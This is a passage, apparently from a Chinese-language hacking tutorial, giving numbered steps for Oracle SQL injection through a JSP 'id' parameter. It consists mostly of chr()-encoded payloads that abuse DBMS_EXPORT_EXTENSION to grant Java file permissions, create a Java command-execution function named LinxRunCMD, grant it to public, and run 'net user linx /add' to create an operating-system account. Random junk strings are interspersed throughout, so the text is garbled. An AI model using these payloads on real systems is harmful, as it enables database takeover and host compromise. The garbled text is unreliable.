chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||4 R3 [' f/ {2 }( Z
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)4 l" e: E; |9 Z) V5 { F7 g
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
5 I/ X2 [3 L& C0 y# _9 J5 |
5 o' a. w; X, {4 G0 O)
! e- s: h3 e' Y* B6 J* E7 s3 n. G( R- M' i4 |3 o
------------------------------
& e; W: u- A. ~0 X& z( g2 U
( r! ?( [6 @) l$ x+ T R+ w3 R7 E) x2.赋Java权限
* _6 v1 d" A; Q3 B, e/xxx.jsp?id=1 and chr(49)<>chr(50)||( z+ u- M8 u4 S. b; n8 `$ }0 b
' J6 o9 o4 n3 c" X& x5 ~5 G) wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% y. A: M5 ~! k8 o4 J( U/ N4 vchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||( n( K( P V8 ~6 f
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||5 o5 D8 V' F! ~! A5 p8 i/ m2 y
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ ?4 K2 y6 } Lchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
+ u, S/ v" |* s ichr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
# s: s& |6 V0 l1 tchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
) l& Z( D8 T: @+ j" }) ]3 Echr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
8 e9 M1 |4 I6 D/ s+ ` d$ A' echr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||' d) B2 m. X9 X# c4 V5 f
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)8 t. o- f( z- y- d8 t) s' J
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual7 W& {! l) E1 I/ \
1 z4 f% A3 Q8 r& k/ F+ X
)
9 I* V( |! e2 r, v# k1 u! w" Z
; M( W% W* E& E; I- Mreadfile函数的ascii版就不写了,见谅。
3 j, A; d4 ]2 W- N
) \' t& w0 k4 l0 u3 M; D4 G3.创建函数, y6 U* T' _" q7 P2 E6 y/ z
0 ?) f1 d( v& F9 H; S! F, y. d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, O- M% q+ g5 m4 i3 `
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
1 U4 p# ~" g% p$ E8 S: R; j- ychr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
5 h X! b1 c O5 Z3 o8 x* Hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
! V3 h. V/ k! ^/ Dchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||' g, U! ]; r4 ^; n9 ^- e, f
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||' z* ?2 |3 s' J3 ?" M# E( x' ]
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||, D8 q" y* H( o3 U
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
' O6 c, x0 L2 X" B U! K& vchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||7 [9 F$ Y4 P$ k% c( w8 E: D$ A
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
+ x" k. C1 ~4 F* @chr(59)||chr(45)||chr(45)4 e- I5 `! X& h* O) _ q2 U
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 O9 ]# K0 J9 y2 y
' C$ [; X: O9 b* C, x% |" Q
$ |/ i# [! a2 R* D- L
7 U6 a! b9 L0 @8 t& Q. P4.赋public执行函数的权限
8 @3 X1 Y4 ~: U9 ?/ r7 W; @# @& W: m7 g
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
! |& e7 ~) M, G( c5 Rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||9 P1 l9 G9 X1 n
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||" U8 y7 p/ U0 T9 \6 a
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||; F8 A5 ?) o* C9 I
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||9 R& B- V! J1 G" I* M5 |! {
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
% [ t/ _& G; T+ \, Tchr(59)||chr(45)||chr(45)
+ [, u# ~! H+ Y0 p,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual- v6 {- N1 p( B$ I. o" n
1 Z9 {" g/ Y! ]" P4 l
/ A" C D" _$ v, o4 l7 I; L+ f+ V6 s) N+ _# I1 c2 \) |2 w- a
5.执行命令:; J) E* m1 \3 m+ k
% J6 J& b" ^. ^' ]* J* v/xxx.jsp?id=1 and chr(49)<>chr(32)||(
+ T4 r( F& l6 F4 J; B/ Mselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
. @4 i8 f1 a' J0 s)
+ q3 y5 J) G7 s" K2 z+ V: }
: \9 R0 K! Z1 X& ]即1 a3 j$ Q/ v, B/ H
/xxx.jsp?id=1 and chr(49)<>chr(32)||(5 I# P( Q* R0 r# U4 [1 L. p0 |+ H) P
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
; h$ G; I& {& F2 c( n)
6 A* |5 v _0 M |